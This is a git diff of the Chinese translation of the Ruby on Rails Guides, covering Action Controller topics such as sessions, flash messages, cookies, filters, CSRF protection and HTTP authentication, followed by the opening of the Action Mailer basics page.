+  secret_key_base: a75d...
+
+test:
+  secret_key_base: 492f...
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+
+
+
+

使用 CookieStore 时,如果修改了密钥,之前所有的会话都会失效。

5.1 访问会话

在控制器中,可以通过实例方法 session 访问会话。

会话是惰性加载的。如果在动作中不访问,不会自动加载。因此任何时候都无需禁用会话,不访问即可。

会话中的数据以键值对的形式存储,与散列类似:

+
+class ApplicationController < ActionController::Base
+
+  private
+
+  # 使用会话中 :current_user_id  键存储的 ID 查找用户
+  # Rails 应用经常这样处理用户登录
+  # 登录后设定这个会话值,退出后删除这个会话值
+  def current_user
+    @_current_user ||= session[:current_user_id] &&
+      User.find_by(id: session[:current_user_id])
+  end
+end
+
+
+
+

若想把数据存入会话,像散列一样,给键赋值即可:

+
+class LoginsController < ApplicationController
+  # “创建”登录,即“登录用户”
+  def create
+    if user = User.authenticate(params[:username], params[:password])
+      # 把用户的 ID 存储在会话中,以便后续请求使用
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+end
+
+
+
+

若想从会话中删除数据,把键的值设为 nil 即可:

+
+class LoginsController < ApplicationController
+  # “删除”登录,即“退出用户”
+  def destroy
+    # 从会话中删除用户的 ID
+    @_current_user = session[:current_user_id] = nil
+    redirect_to root_url
+  end
+end
+
+
+
+

若想重设整个会话,使用 reset_session 方法。

5.2 闪现消息

闪现消息是会话的一个特殊部分,每次请求都会清空。也就是说,其中存储的数据只能在下次请求时使用,因此可用于传递错误消息等。

闪现消息的访问方式与会话差不多,类似于散列。(闪现消息是 FlashHash 实例。)

下面以退出登录为例。控制器可以发送一个消息,在下次请求时显示:

+
+class LoginsController < ApplicationController
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = "You have successfully logged out."
+    redirect_to root_url
+  end
+end
+
+
+
+

注意,重定向也可以设置闪现消息。可以指定 :notice:alert 或者常规的 :flash

+
+redirect_to root_url, notice: "You have successfully logged out."
+redirect_to root_url, alert: "You're stuck here!"
+redirect_to root_url, flash: { referral_code: 1234 }
+
+
+
+

上例中,destroy 动作重定向到应用的 root_url,然后显示那个闪现消息。注意,只有下一个动作才能处理前一个动作设置的闪现消息。一般会在应用的布局中加入显示警告或提醒消息的代码:

+
+<html>
+  <!-- <head/> -->
+  <body>
+    <% flash.each do |name, msg| -%>
+      <%= content_tag :div, msg, class: name %>
+    <% end -%>
+
+    <!-- more content -->
+  </body>
+</html>
+
+
+
+

如此一來,如果动作中设置了警告或提醒消息,就会出现在布局中。

闪现消息不局限于警告和提醒,可以设置任何可在会话中存储的内容:

+
+<% if flash[:just_signed_up] %>
+  <p class="welcome">Welcome to our site!</p>
+<% end %>
+
+
+
+

如果希望闪现消息保留到其他请求,可以使用 keep 方法:

+
+class MainController < ApplicationController
+  # 假设这个动作对应 root_url,但是想把针对这个
+  # 动作的请求都重定向到 UsersController#index。
+  # 如果是从其他动作重定向到这里的,而且那个动作
+  # 设定了闪现消息,通常情况下,那个闪现消息会丢失。
+  # 但是我们可以使用 keep 方法,将其保留到下一个请求。
+  def index
+    # 持久存储所有闪现消息
+    flash.keep
+
+    # 还可以指定一个键,只保留某种闪现消息
+    # flash.keep(:notice)
+    redirect_to users_url
+  end
+end
+
+
+
+

5.2.1 flash.now +

默认情况下,闪现消息中的内容只在下一次请求中可用,但有时希望在同一个请求中使用。例如,create 动作没有成功保存资源时,会直接渲染 new 模板,这并不是一个新请求,但却希望显示一个闪现消息。针对这种情况,可以使用 flash.now,其用法和常规的 flash 一样:

+
+class ClientsController < ApplicationController
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = "Could not save client"
+      render action: "new"
+    end
+  end
+end
+
+
+
+

6 cookies

应用可以在客户端存储少量数据(称为 cookie),在多次请求中使用,甚至可以用作会话。在 Rails 中可以使用 cookies 方法轻易访问 cookie,用法和 session 差不多,就像一个散列:

+
+class CommentsController < ApplicationController
+  def new
+    # 如果 cookie 中存有评论者的名字,自动填写
+    @comment = Comment.new(author: cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = "Thanks for your comment!"
+      if params[:remember_name]
+        # 记住评论者的名字
+        cookies[:commenter_name] = @comment.author
+      else
+        # 从 cookie 中删除评论者的名字(如果有的话)
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render action: "new"
+    end
+  end
+end
+
+
+
+

注意,删除会话中的数据是把键的值设为 nil,但若想删除 cookie 中的值,要使用 cookies.delete(:key) 方法。

Rails 还提供了签名 cookie 和加密 cookie,用于存储敏感数据。签名 cookie 会在 cookie 的值后面加上一个签名,确保值没被修改。加密 cookie 除了做签名之外,还会加密,让终端用户无法读取。详情参阅 API 文档

这两种特殊的 cookie 会序列化签名后的值,生成字符串,读取时再反序列化成 Ruby 对象。

序列化所用的方式可以指定:

+
+Rails.application.config.action_dispatch.cookies_serializer = :json
+
+
+
+

新应用默认的序列化方式是 :json。为了兼容旧应用的 cookie,如果没设定 cookies_serializer 选项,会使用 :marshal

这个选项还可以设为 :hybrid,读取时,Rails 会自动反序列化使用 Marshal 序列化的 cookie,写入时使用 JSON 格式。把现有应用迁移到使用 :json 序列化方式时,这么设定非常方便。

序列化方式还可以使用其他方式,只要定义了 loaddump 方法即可:

+
+Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer
+
+
+
+

使用 :json:hybrid 方式时,要知道,不是所有 Ruby 对象都能序列化成 JSON。例如,DateTime 对象序列化成字符串,而散列的键会变成字符串。

+
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+    redirect_to action: 'read_cookie'
+  end
+
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2014-03-20"
+  end
+end
+
+
+
+

建议只在 cookie 中存储简单的数据(字符串和数字)。如果不得不存储复杂的对象,在后续请求中要自行负责转换。

如果使用 cookie 存储会话,sessionflash 散列也是如此。

7 渲染 XML 和 JSON 数据

ActionController 中渲染 XMLJSON 数据非常简单。使用脚手架生成的控制器如下所示:

+
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    respond_to do |format|
+      format.html # index.html.erb
+      format.xml  { render xml: @users}
+      format.json { render json: @users}
+    end
+  end
+end
+
+
+
+

你可能注意到了,在这段代码中,我们使用的是 render xml: @users 而不是 render xml: @users.to_xml。如果不是字符串对象,Rails 会自动调用 to_xml 方法。

8 过滤器

过滤器(filter)是一种方法,在控制器动作运行之前、之后,或者前后运行。

过滤器会继承,如果在 ApplicationController 中定义了过滤器,那么应用的每个控制器都可使用。

前置过滤器有可能会终止请求循环。前置过滤器经常用于确保动作运行之前用户已经登录。这种过滤器可以像下面这样定义:

+
+class ApplicationController < ActionController::Base
+  before_action :require_login
+
+  private
+
+  def require_login
+    unless logged_in?
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url # halts request cycle
+    end
+  end
+end
+
+
+
+

如果用户没有登录,这个方法会在闪现消息中存储一个错误消息,然后重定向到登录表单页面。如果前置过滤器渲染了页面或者做了重定向,动作就不会运行。如果动作上还有后置过滤器,也不会运行。

在上面的例子中,过滤器在 ApplicationController 中定义,所以应用中的所有控制器都会继承。此时,应用中的所有页面都要求用户登录后才能访问。很显然(这样用户根本无法登录),并不是所有控制器或动作都要做这种限制。如果想跳过某个动作,可以使用 skip_before_action

+
+class LoginsController < ApplicationController
+  skip_before_action :require_login, only: [:new, :create]
+end
+
+
+
+

此时,LoginsControllernew 动作和 create 动作就不需要用户先登录。:only 选项的意思是只跳过这些动作。此外,还有个 :except 选项,用法类似。定义过滤器时也可使用这些选项,指定只在选中的动作上运行。

8.1 后置过滤器和环绕过滤器

除了前置过滤器之外,还可以在动作运行之后,或者在动作运行前后执行过滤器。

后置过滤器类似于前置过滤器,不过因为动作已经运行了,所以可以获取即将发送给客户端的响应数据。显然,后置过滤器无法阻止运行动作。

环绕过滤器会把动作拉入(yield)过滤器中,工作方式类似 Rack 中间件。

假如网站的改动需要经过管理员预览,然后批准。可以把这些操作定义在一个事务中:

+
+class ChangesController < ApplicationController
+  around_action :wrap_in_transaction, only: :show
+
+  private
+
+  def wrap_in_transaction
+    ActiveRecord::Base.transaction do
+      begin
+        yield
+      ensure
+        raise ActiveRecord::Rollback
+      end
+    end
+  end
+end
+
+
+
+

注意,环绕过滤器还包含了渲染操作。在上面的例子中,视图本身是从数据库中读取出来的(例如,通过作用域),读取视图的操作在事务中完成,然后提供预览数据。

也可以不拉入动作,自己生成响应,不过此时动作不会运行。

8.2 过滤器的其他用法

一般情况下,过滤器的使用方法是定义私有方法,然后调用相应的 *_action 方法添加过滤器。不过过滤器还有其他两种用法。

第一种,直接在 *_action 方法中使用代码块。代码块接收控制器作为参数。使用这种方式,前面的 require_login 过滤器可以改写成:

+
+class ApplicationController < ActionController::Base
+  before_action do |controller|
+    unless controller.send(:logged_in?)
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url
+    end
+  end
+end
+
+
+
+

注意,此时在过滤器中使用的是 send 方法,因为 logged_in? 是私有方法,而过滤器和控制器不在同一个作用域内。定义 require_login 过滤器不推荐使用这种方式,但是比较简单的过滤器可以这么做。

第二种,在类(其实任何能响应正确方法的对象都可以)中定义过滤器。这种方式用于实现复杂的过滤器,使用前面的两种方式无法保证代码可读性和重用性。例如,可以在一个类中定义前面的 require_login 过滤器:

+
+class ApplicationController < ActionController::Base
+  before_action LoginFilter
+end
+
+class LoginFilter
+  def self.before(controller)
+    unless controller.send(:logged_in?)
+      controller.flash[:error] = "You must be logged in to access this section"
+      controller.redirect_to controller.new_login_url
+    end
+  end
+end
+
+
+
+

这种方式也不是定义 require_login 过滤器的理想方式,因为与控制器不在同一作用域,要把控制器作为参数传入。定义过滤器的类,必须有一个和过滤器种类同名的方法。对于 before_action 过滤器,类中必须定义 before 方法。其他类型的过滤器以此类推。around 方法必须调用 yield 方法执行动作。

9 请求伪造防护

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种攻击方式,A 网站的用户伪装成 B 网站的用户发送请求,在 B 站中添加、修改或删除数据,而 B 站的用户浑然不知。

防止这种攻击的第一步是,确保所有破坏性动作(createupdatedestroy)只能通过 GET 之外的请求方法访问。如果遵从 REST 架构,已经做了这一步。不过,恶意网站还是可以轻易地发起非 GET 请求,这时就要用到其他跨站攻击防护措施了。

防止跨站攻击的方式是,在各个请求中添加一个只有服务器才知道的难以猜测的令牌。如果请求中没有正确的令牌,服务器会拒绝访问。

如果使用下面的代码生成一个表单:

+
+<%= form_for @user do |f| %>
+  <%= f.text_field :username %>
+  <%= f.text_field :password %>
+<% end %>
+
+
+
+

会看到 Rails 自动添加了一个隐藏字段,用于设定令牌:

+
+<form accept-charset="UTF-8" action="http://github.com/users/1" method="post">
+<input type="hidden"
+       value="67250ab105eb5ad10851c00a5621854a23af5489"
+       name="authenticity_token"/>
+<!-- fields -->
+</form>
+
+
+
+

使用表单辅助方法生成的所有表单都有这样一个令牌,因此多数时候你都无需担心。如果想自己编写表单,或者基于其他原因想添加令牌,可以使用 form_authenticity_token 方法。

form_authenticity_token 会生成一个有效的令牌。在 Rails 没有自动添加令牌的地方(例如 Ajax)可以使用这个方法。

Ruby on Rails 安全指南将更为深入地说明请求伪造防护措施,还有一些开发 Web 应用需要知道的其他安全隐患。

10 请求和响应对象

在每个控制器中都有两个存取方法,分别用于获取当前请求循环的请求对象和响应对象。request 方法的返回值是一个 ActionDispatch::Request 实例,response 方法的返回值是一个响应对象,表示回送客户端的数据。

10.1 request 对象

request 对象中有很多客户端请求的有用信息。可用方法的完整列表参阅 Rails API 文档Rack 文档。下面说明部分属性:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+request 对象的属性作用
host请求的主机名
domain(n=2)主机名的前 n 个片段,从顶级域名的右侧算起
format客户端请求的内容类型
method请求使用的 HTTP 方法
+get?, post?, patch?, put?, delete?, head? +如果 HTTP 方法是 GET/POST/PATCH/PUT/DELETE/HEAD,返回 true +
headers返回一个散列,包含请求的首部
port请求的端口号(整数)
protocol返回所用的协议外加 "://",例如 "http://" +
query_stringURL 中的查询字符串,即 ? 后面的全部内容
remote_ip客户端的 IP 地址
url请求的完整 URL
+

10.1.1 path_parametersquery_parametersrequest_parameters +

不管请求中的参数通过查询字符串发送,还是通过 POST 主体提交,Rails 都会把这些参数存入 params 散列中。request 对象有三个存取方法,用于获取各种类型的参数。query_parameters 散列中的参数来自查询参数;request_parameters 散列中的参数来自 POST 主体;path_parameters 散列中的参数来自路由,传入相应的控制器和动作。

10.2 response 对象

response 对象通常不直接使用。response 对象在动作的执行过程中构建,把渲染的数据回送给用户。不过有时可能需要直接访问响应,比如在后置过滤器中。response 对象上的方法有些可以用于赋值。若想了解全部可用方法,参阅 Rails API 文档Rack 文档

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+response 对象的属性作用
body回送客户端的数据,字符串格式。通常是 HTML。
status响应的 HTTP 状态码,例如,请求成功时是 200,文件未找到时是 404。
location重定向的 URL(如果重定向的话)。
content_type响应的内容类型。
charset响应使用的字符集。默认是 "utf-8"
headers响应的首部。
+

10.2.1 设置自定义首部

如果想设置自定义首部,可以使用 response.headers 方法。headers 属性是一个散列,键为首部名,值为首部的值。Rails 会自动设置一些首部。如果想添加或者修改首部,赋值给 response.headers 即可,例如:

+
+response.headers["Content-Type"] = "application/pdf"
+
+
+
+

注意,上面这段代码直接使用 content_type= 方法更合理。

11 HTTP 身份验证

Rails 内置了两种 HTTP 身份验证机制:

+
    +
  • 基本身份验证
  • +
  • 摘要身份验证
  • +
+

11.1 HTTP 基本身份验证

大多数浏览器和 HTTP 客户端都支持 HTTP 基本身份验证。例如,在浏览器中如果要访问只有管理员才能查看的页面,会出现一个对话框,要求输入用户名和密码。使用内置的这种身份验证非常简单,只要使用一个方法,即 http_basic_authenticate_with

+
+class AdminsController < ApplicationController
+  http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
+end
+
+
+
+

添加 http_basic_authenticate_with 方法后,可以创建具有命名空间的控制器,继承自 AdminsControllerhttp_basic_authenticate_with 方法会在这些控制器的所有动作运行之前执行,启用 HTTP 基本身份验证。

11.2 HTTP 摘要身份验证

HTTP 摘要身份验证比基本验证高级,因为客户端不会在网络中发送明文密码(不过在 HTTPS 中基本验证是安全的)。在 Rails 中使用摘要验证非常简单,只需使用一个方法,即 authenticate_or_request_with_http_digest

+
+class AdminsController < ApplicationController
+  USERS = { "lifo" => "world" }
+
+  before_action :authenticate
+
+  private
+
+    def authenticate
+      authenticate_or_request_with_http_digest do |username|
+        USERS[username]
+      end
+    end
+end
+
+
+
+

如上面的代码所示,authenticate_or_request_with_http_digest 方法的块只接受一个参数,用户名,返回值是密码。如果 authenticate_or_request_with_http_digest 返回 falsenil,表明身份验证失败。

12 数据流和文件下载

有时不想渲染 HTML 页面,而是把文件发送给用户。在所有的控制器中都可以使用 send_datasend_file 方法。这两个方法都会以数据流的方式发送数据。send_file 方法很方便,只要提供磁盘中文件的名称,就会用数据流发送文件内容。

若想把数据以流的形式发送给客户端,使用 send_data 方法:

+
+require "prawn"
+class ClientsController < ApplicationController
+  # 使用客户信息生成一份 PDF 文档
+  # 然后返回文档,让用户下载
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data generate_pdf(client),
+              filename: "#{client.name}.pdf",
+              type: "application/pdf"
+  end
+
+  private
+
+    def generate_pdf(client)
+      Prawn::Document.new do
+        text client.name, align: :center
+        text "Address: #{client.address}"
+        text "Email: #{client.email}"
+      end.render
+    end
+end
+
+
+
+

在上面的代码中,download_pdf 动作调用一个私有方法,生成 PDF 文档,然后返回字符串形式。返回的字符串会以数据流的形式发送给客户端,并为用户推荐一个文件名。有时发送文件流时,并不希望用户下载这个文件,比如嵌在 HTML 页面中的图像。若想告诉浏览器文件不是用来下载的,可以把 :disposition 选项设为 "inline"。这个选项的另外一个值,也是默认值,是 "attachment"

12.1 发送文件

如果想发送磁盘中已经存在的文件,可以使用 send_file 方法。

+
+class ClientsController < ApplicationController
+  # 以流的形式发送磁盘中现有的文件
+  def download_pdf
+    client = Client.find(params[:id])
+    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
+              filename: "#{client.name}.pdf",
+              type: "application/pdf")
+  end
+end
+
+
+
+

send_file 一次只发送 4kB,而不是把整个文件都写入内存。如果不想使用数据流方式,可以把 :stream 选项设为 false。如果想调整数据块大小,可以设置 :buffer_size 选项。

如果没有指定 :type 选项,Rails 会根据 :filename 的文件扩展名猜测。如果没有注册扩展名对应的文件类型,则使用 application/octet-stream

要谨慎处理用户提交数据(参数、cookies 等)中的文件路径,这有安全隐患,可能导致不该下载的文件被下载了。

不建议通过 Rails 以数据流的方式发送静态文件,你可以把静态文件放在服务器的公共文件夹中。使用 Apache 或其他 Web 服务器下载效率更高,因为不用经由整个 Rails 栈处理。

12.2 REST 式下载

虽然可以使用 send_data 方法发送数据,但是在 REST 架构的应用中,单独为下载文件操作写个动作有些多余。在 REST 架构下,上例中的 PDF 文件可以视作一种客户资源。Rails 提供了一种更符合 REST 架构的文件下载方法。下面这段代码重写了前面的例子,把下载 PDF 文件的操作放到 show 动作中,不使用数据流:

+
+class ClientsController < ApplicationController
+  # 用户可以请求接收 HTML 或 PDF 格式的资源
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf { render pdf: generate_pdf(@client) }
+    end
+  end
+end
+
+
+
+

为了让这段代码能顺利运行,要把 PDF 的 MIME 类型加入 Rails。在 config/initializers/mime_types.rb 文件中加入下面这行代码即可:

+
+Mime::Type.register "application/pdf", :pdf
+
+
+
+

配置文件不会在每次请求中都重新加载,为了让改动生效,需要重启服务器。

现在,如果用户想请求 PDF 版本,只要在 URL 后加上 ".pdf" 即可:

+
+GET /clients/1.pdf
+
+
+
+

12.3 任意数据的实时流

在 Rails 中,不仅文件可以使用数据流的方式处理,在响应对象中,任何数据都可以视作数据流。ActionController::Live 模块可以和浏览器建立持久连接,随时随地把数据传送给浏览器。

12.3.1 使用实时流

ActionController::Live 模块引入控制器中后,所有的动作都可以处理数据流。你可以像下面这样引入那个模块:

+
+class MyController < ActionController::Base
+  include ActionController::Live
+
+  def stream
+    response.headers['Content-Type'] = 'text/event-stream'
+    100.times {
+      response.stream.write "hello world\n"
+      sleep 1
+    }
+  ensure
+    response.stream.close
+  end
+end
+
+
+
+

上面的代码会和浏览器建立持久连接,每秒一次,共发送 100 次 "hello world\n"

关于这段代码有一些注意事项。必须关闭响应流。如果忘记关闭,套接字就会一直处于打开状态。发送数据流之前,还要把内容类型设为 text/event-stream。这是因为在响应流上调用 writecommit 发送响应后(response.committed? 返回真值)就无法设置首部了。

12.3.2 使用举例

假设你在制作一个卡拉 OK 机,用户想查看某首歌的歌词。每首歌(Song)都有很多行歌词,每一行歌词都要花一些时间(num_beats)才能唱完。

如果按照卡拉 OK 机的工作方式,等上一句唱完才显示下一行,可以像下面这样使用 ActionController::Live

+
+class LyricsController < ActionController::Base
+  include ActionController::Live
+
+  def show
+    response.headers['Content-Type'] = 'text/event-stream'
+    song = Song.find(params[:id])
+
+    song.each do |line|
+      response.stream.write line.lyrics
+      sleep line.num_beats
+    end
+  ensure
+    response.stream.close
+  end
+end
+
+
+
+

在这段代码中,只有上一句唱完才会发送下一句歌词。

12.3.3 使用数据流的注意事项

以数据流的方式发送任意数据是个强大的功能,如前面几个例子所示,你可以选择何时发送什么数据。不过,在使用时,要注意以下事项:

+
    +
  • 每次以数据流形式发送响应都会新建一个线程,然后把原线程中的局部变量复制过来。线程中有太多局部变量会降低性能。而且,线程太多也会影响性能。
  • +
  • 忘记关闭响应流会导致套接字一直处于打开状态。使用响应流时一定要记得调用 close 方法。
  • +
  • WEBrick 会缓冲所有响应,因此引入 ActionController::Live 也不会有任何效果。你应该使用不自动缓冲响应的服务器。
  • +
+

13 日志过滤

Rails 在 log 文件夹中为每个环境都准备了一个日志文件。这些文件在调试时特别有用,但是线上应用并不用把所有信息都写入日志。

13.1 参数过滤

若想过滤特定的请求参数,禁止写入日志文件,可以在应用的配置文件中设置 config.filter_parameters 选项。过滤掉的参数在日志中显示为 [FILTERED]

+
+config.filter_parameters << :password
+
+
+
+

指定的参数通过部分匹配正则表达式过滤掉。Rails 默认在相应的初始化脚本(initializers/filter_parameter_logging.rb)中过滤 :password,以及应用中常见的 passwordpassword_confirmation 参数。

13.2 重定向过滤

有时需要从日志文件中过滤掉一些重定向的敏感数据,此时可以设置 config.filter_redirect 选项:

+
+config.filter_redirect << 's3.amazonaws.com'
+
+
+
+

过滤规则可以使用字符串、正则表达式,或者一个数组,包含字符串或正则表达式:

+
+config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]
+
+
+
+

匹配的 URL 会显示为 '[FILTERED]'

14 异常处理

应用很有可能出错,错误发生时会抛出异常,这些异常是需要处理的。例如,如果用户访问一个链接,但数据库中已经没有对应的资源了,此时 Active Record 会抛出 ActiveRecord::RecordNotFound 异常。

在 Rails 中,异常的默认处理方式是显示“500 Server Error”消息。如果应用在本地运行,出错后会显示一个精美的调用跟踪,以及其他附加信息,让开发者快速找到出错的地方,然后修正。如果应用已经上线,Rails 则会简单地显示“500 Server Error”消息;如果是路由错误或记录不存在,则显示“404 Not Found”。有时你可能想换种方式捕获错误,以不同的方式显示报错信息。在 Rails 中,有很多层异常处理,详解如下。

14.1 默认的 500 和 404 模板

默认情况下,生产环境中的应用出错时会显示 404 或 500 错误消息,在开发环境中则抛出未捕获的异常。错误消息在 public 文件夹里的静态 HTML 文件中,分别是 404.html500.html。你可以修改这两个文件,添加其他信息和样式,不过要记住,这两个是静态文件,不能使用 ERB、SCSS、CoffeeScript 或布局。

14.2 rescue_from +

捕获错误后如果想做更详尽的处理,可以使用 rescue_fromrescue_from 可以处理整个控制器及其子类中的某种(或多种)异常。

异常发生时,会被 rescue_from 捕获,异常对象会传入处理程序。处理程序可以是方法,也可以是 Proc 对象,由 :with 选项指定。也可以不用 Proc 对象,直接使用块。

下面的代码使用 rescue_from 截获所有 ActiveRecord::RecordNotFound 异常,然后做些处理。

+
+class ApplicationController < ActionController::Base
+  rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
+
+  private
+
+    def record_not_found
+      render plain: "404 Not Found", status: 404
+    end
+end
+
+
+
+

这段代码对异常的处理并不详尽,比默认的处理方式也没好多少。不过只要你能捕获异常,就可以做任何想做的处理。例如,可以新建一个异常类,当用户无权查看页面时抛出:

+
+class ApplicationController < ActionController::Base
+  rescue_from User::NotAuthorized, with: :user_not_authorized
+
+  private
+
+    def user_not_authorized
+      flash[:error] = "You don't have access to this section."
+      redirect_back(fallback_location: root_path)
+    end
+end
+
+class ClientsController < ApplicationController
+  # 检查是否授权用户访问客户信息
+  before_action :check_authorization
+
+  # 注意,这个动作无需关心任何身份验证操作
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+  private
+
+    # 如果用户没有授权,抛出异常
+    def check_authorization
+      raise User::NotAuthorized unless current_user.admin?
+    end
+end
+
+
+
+

如果没有特别的原因,不要使用 rescue_from Exceptionrescue_from StandardError,因为这会导致严重的副作用(例如,在开发环境中看不到异常详情和调用跟踪)。

在生产环境中,所有 ActiveRecord::RecordNotFound 异常都会导致渲染 404 错误页面。如果不想定制这一行为,无需处理这个异常。

某些异常只能在 ApplicationController 类中捕获,因为在异常抛出前控制器还没初始化,动作也没执行。

15 强制使用 HTTPS 协议

有时,基于安全考虑,可能希望某个控制器只能通过 HTTPS 协议访问。为了达到这一目的,可以在控制器中使用 force_ssl 方法:

+
+class DinnerController
+  force_ssl
+end
+
+
+
+

与过滤器类似,也可指定 :only:except 选项,设置只在某些动作上强制使用 HTTPS:

+
+class DinnerController
+  force_ssl only: :cheeseburger
+  # 或者
+  force_ssl except: :cheeseburger
+end
+
+
+
+

注意,如果你在很多控制器中都使用了 force_ssl,或许你想让整个应用都使用 HTTPS。此时,你可以在环境配置文件中设定 config.force_ssl 选项。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/action_mailer_basics.html b/action_mailer_basics.html new file mode 100644 index 0000000..98ee426 --- /dev/null +++ b/action_mailer_basics.html @@ -0,0 +1,798 @@ + + + + + + + +Action Mailer 基础 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Action Mailer 基础

本文全面介绍如何在应用中收发邮件、Action Mailer 的内部机理,以及如何测试邮件程序(mailer)。

读完本文后,您将学到:

+
    +
  • 如何在 Rails 应用中收发邮件;
  • +
  • 如何生成及编辑 Action Mailer 类和邮件视图;
  • +
  • 如何配置 Action Mailer;
  • +
  • 如何测试 Action Mailer 类。
  • +
+ + + + +
+
+ +
+
+
+

1 简介

Rails 使用 Action Mailer 实现发送邮件功能,邮件由邮件程序和视图控制。邮件程序继承自 ActionMailer::Base,作用与控制器类似,保存在 app/mailers 文件夹中,对应的视图保存在 app/views 文件夹中。

2 发送邮件

本节逐步说明如何创建邮件程序及其视图。

2.1 生成邮件程序的步骤

2.1.1 创建邮件程序
+
+$ bin/rails generate mailer UserMailer
+create  app/mailers/user_mailer.rb
+create  app/mailers/application_mailer.rb
+invoke  erb
+create    app/views/user_mailer
+create    app/views/layouts/mailer.text.erb
+create    app/views/layouts/mailer.html.erb
+invoke  test_unit
+create    test/mailers/user_mailer_test.rb
+create    test/mailers/previews/user_mailer_preview.rb
+
+
+
+
+
+# app/mailers/application_mailer.rb
+class ApplicationMailer < ActionMailer::Base
+  default from: "from@example.com"
+  layout 'mailer'
+end
+
+# app/mailers/user_mailer.rb
+class UserMailer < ApplicationMailer
+end
+
+
+
+

如上所示,生成邮件程序的方法与使用其他生成器一样。邮件程序在某种程度上就是控制器。执行上述命令后,生成了一个邮件程序、一个视图文件夹和一个测试文件。

如果不想使用生成器,可以手动在 app/mailers 文件夹中新建文件,但要确保继承自 ActionMailer::Base

+
+class MyMailer < ActionMailer::Base
+end
+
+
+
+

2.1.2 编辑邮件程序

邮件程序和控制器类似,也有称为“动作”的方法,而且使用视图组织内容。控制器生成的内容,例如 HTML,发送给客户端;邮件程序生成的消息则通过电子邮件发送。

app/mailers/user_mailer.rb 文件中有一个空的邮件程序:

+
+class UserMailer < ApplicationMailer
+end
+
+
+
+

下面我们定义一个名为 welcome_email 的方法,向用户注册时填写的电子邮件地址发送一封邮件:

+
+class UserMailer < ApplicationMailer
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email, subject: 'Welcome to My Awesome Site')
+  end
+end
+
+
+
+

下面简单说明一下这段代码。可用选项的详细说明请参见 Action Mailer 方法详解

+
    +
  • default:一个散列,该邮件程序发出邮件的默认设置。上例中,我们把 :from 邮件头设为一个值,这个类中的所有动作都会使用这个值,不过可以在具体的动作中覆盖。
  • +
  • mail:用于发送邮件的方法,我们传入了 :to:subject 邮件头。
  • +
+

与控制器一样,动作中定义的实例变量可以在视图中使用。

2.1.3 创建邮件视图

app/views/user_mailer/ 文件夹中新建文件 welcome_email.html.erb。这个视图是邮件的模板,使用 HTML 编写:

+
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
+  </head>
+  <body>
+    <h1>Welcome to example.com, <%= @user.name %></h1>
+    <p>
+      You have successfully signed up to example.com,
+      your username is: <%= @user.login %>.<br>
+    </p>
+    <p>
+      To login to the site, just follow this link: <%= @url %>.
+    </p>
+    <p>Thanks for joining and have a great day!</p>
+  </body>
+</html>
+
+
+
+

我们再创建一个纯文本视图。并不是所有客户端都可以显示 HTML 邮件,所以最好两种格式都发送。在 app/views/user_mailer/ 文件夹中新建文件 welcome_email.text.erb,写入以下代码:

+
+Welcome to example.com, <%= @user.name %>
+===============================================
+
+You have successfully signed up to example.com,
+your username is: <%= @user.login %>.
+
+To login to the site, just follow this link: <%= @url %>.
+
+Thanks for joining and have a great day!
+
+
+
+

调用 mail 方法后,Action Mailer 会检测到这两个模板(纯文本和 HTML),自动生成一个类型为 multipart/alternative 的邮件。

2.1.4 调用邮件程序

其实,邮件程序就是渲染视图的另一种方式,只不过渲染的视图不通过 HTTP 协议发送,而是通过电子邮件协议发送。因此,应该由控制器调用邮件程序,在成功注册用户后给用户发送一封邮件。

过程相当简单。

首先,生成一个简单的 User 脚手架:

+
+$ bin/rails generate scaffold user name email login
+$ bin/rails db:migrate
+
+
+
+

这样就有一个可用的用户模型了。我们需要编辑的是文件 app/controllers/users_controller.rb,修改 create 动作,在成功保存用户后调用 UserMailer.welcome_email 方法,向刚注册的用户发送邮件。

Action Mailer 与 Active Job 集成得很好,可以在请求-响应循环之外发送电子邮件,因此用户无需等待。

+
+class UsersController < ApplicationController
+  # POST /users
+  # POST /users.json
+  def create
+    @user = User.new(params[:user])
+
+    respond_to do |format|
+      if @user.save
